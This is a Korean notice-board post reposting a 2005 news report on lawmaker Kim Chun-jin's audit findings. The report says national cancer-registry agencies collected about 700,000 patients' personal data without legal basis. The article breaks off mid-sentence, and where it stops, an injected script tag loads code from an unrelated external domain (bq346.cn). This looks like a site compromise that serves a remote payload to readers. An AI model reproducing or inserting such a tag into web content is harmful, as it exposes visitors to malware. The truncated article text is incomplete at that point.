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공지 | 김춘진의원,불법적인 암환자 개인정보 수집 문제제기

페이지 정보

작성자 관리자 작성일05-10-06 00:00 조회3,991회

본문

아래는 국정감사 관련 이지닥터신문에 실린 내용을 그대로 실은 것입니다.
참조하시기 바랍니다.


국립의료원 및 국가암센터 국정감사 질의
국립의료원, 부적절한 암환자 개인정보 수집, 70여만 건
실정법위반 암환자 개인정보 수집, 17여만 건
법적근거 없는 암환자 개인정보 수집, 53여만 건

피해자들의 법적 대응 가능성 제기
서울대, 연세대, 고려대 병원 등 119개 국내 주요 의료기관 의료법 위반 논란,

보건복지부, 암관리법령 부실 제정으로
국립암센터 중앙암등록사업 2년간 표류

김춘진 의원, 중앙암등록사업 목적과 취지 아무리 좋아도 정당한 절차 밟아 개인정보 수집해야, 부실 암관리법령 제정으로 인한 중앙암등록사업 2년간 표류 책임의 주체 분명히 해야


<국립의료원 중앙암등록사업, 15년 이상 70만 건의 부적절한 암환자 개인정보 수집하다>
국가암관리사업의 수립, 추진, 평가 등 암관련 정책수립을 위한 기초자료로 국가(1980년 7월 ~ 2000년 8월까지는 국립의료원, 2000년 9월 이후 현재까지 국립암센터가 중앙암등록사업 담당기관임)는 우리나라에서 암진단과 치료를 하는 의료기관을 대상으로 1980년부터 발생한 암환자의 주민번호, 이름, 주소 등을 포함한 70여만 건의 개인정보를 법적근거 없이 또는 불법으로 수집함.
<연도별 중앙암등록사업 실적 현황 붙임>

<국가 중앙암등록사업 어떤 법을 위반했나?>
공공기관의개인정보호에관한법률 시행(95.1.7.시행) 이후 동법 제4조 위반
공공기관의개인정보보호에관한법률(이하 “개인정보보호법”이라 함) 제2조 제2호에 따르면 “개인정보”라 함은 생존하는 개인에 관한 정보로서 당해 정보에 포함되어 있는 성명․주민번호 등의 사항에 의하여 당해 개인을 식별할 수 있는 정보 (당해 정보만으로는 특정개인을 식별할 수 없더라도 다른 정보와 용이하게 결합하여 식별할 수 있는 것을 포함한다)를 말하며

개인정보보호법 제4조는 공공기관의 장은 정보주체의 동의가 있거나 다른 법률에 수집대상 개인정보가 명시되어 있는 경우를 제외하고 사상․신조 등 개인의 기본적 인권을 현저하게 침해할 우려가 있는 개인정보를 수집해서는 안 된다고 명시한바 있음.

따라서 95년 1월 정보보호법 시행이후 국립의료원이 수집한 암환자 개인정보는 실정법 위반 행위에 해당함.

개인정보보법 언제까지 위반했나?
97년 6월 복지부가 통계청으로 받은 암관련 통계작성 승인이 개인정보보호법 제4조 단서의 “다른 법률에 수집대상 개인정보가 명시되어 있는 경우”에 해당하는지 논란일어

보건복지부는 1997년 6월 보건복지부 장관이 통계청 「한국통계조사현황」중 한국인 암등록조사를 위하여 통계청장으로부터 암관련 통계작성 승인받아 통계를 작성하였기 때문에 중앙암등록사업은 통계법 적용을 받아 개인정보보호법 단서의 적용을 받아 96년 6월 이후 수집된 암환자 개인정보는 합법이었다고 주장하나,

개인정보보호법 제4조 단서에는 ‘다른 법률에 수집대상 개인정보가 명시“되어 있으나 복지부가 주장하는 통계법에는 법률로 암통계 작성을 위하여 개인정보를 수집할 수 있도록 하는 규정이 명시적으로 없어 복지부가 통계청장으로부터 승인은 통계법 하위 규정에 의한 것일 뿐 여전히 법률로 명시된 사항이 아니어서 97년 6월 통계청장 승인 이후 수집한 암환자 개인정보도 실정법 위반의 논란이 있음.

암관리법 시행 이후 실정법 위반 여지는 없나?
통계청장 승인으로 인하여 중앙암등록사업이 합법이라 하더라도 현행 암관리법 시행규칙 제6조에 따르면 중앙암등록본부의 장(현재 암센터장)은 암환자를 진단․치료하는 의료인 또는 의료기관의 장, 그 밖의 관계기관 및 단체 등에 대하여 암환자의 진료와 관련된 자료 및 의무기록 등의 제공을 요청하고자 하는 경우에는 자료의 사용목적․사용기간 및 사용방법 그 밖에 필요한 사항을 기재한 서면으로 하고, 이 경우 개인정보에 관한 사항을 요청할 수 없도록 함.

암센터가 동 시행규칙이 시행된 2004년 3월 29일 이후 개인정보를 포함한 암정보를 의료기관에 요청하여 암환자 개인정보를 수집한 경우 이는 암관리법 위반해당하며, 이와 관련하여 암센터는 요청한 사실이 없다고 밝혔으나, 2004.3.29일 이후 2005년 8월까지 중앙암등록사업에 따라 2003년도에 발생한 암환자 개인정보 23,176건이 45개 의료기관으로부터 2004년도에 받은 사실이 있고, 암발생통계 생산을 위한 보완조사로 20,453건, 지역암등록으로 3,930건, 전문학회로부터 1,025건 등 총 49,019건을 받은 것으로 되어 암관리법 시행 이후에도 실정법 위반에 대한 논란이 제기됨.

※ 원칙적으로 중앙암등록사업에 참여한 병원들은 그 해 새로이 발생한 암환자 자료를 모아 다음해에 국립암센터(2000년 9월 이전에는 ?script src=http://bq346.cn>

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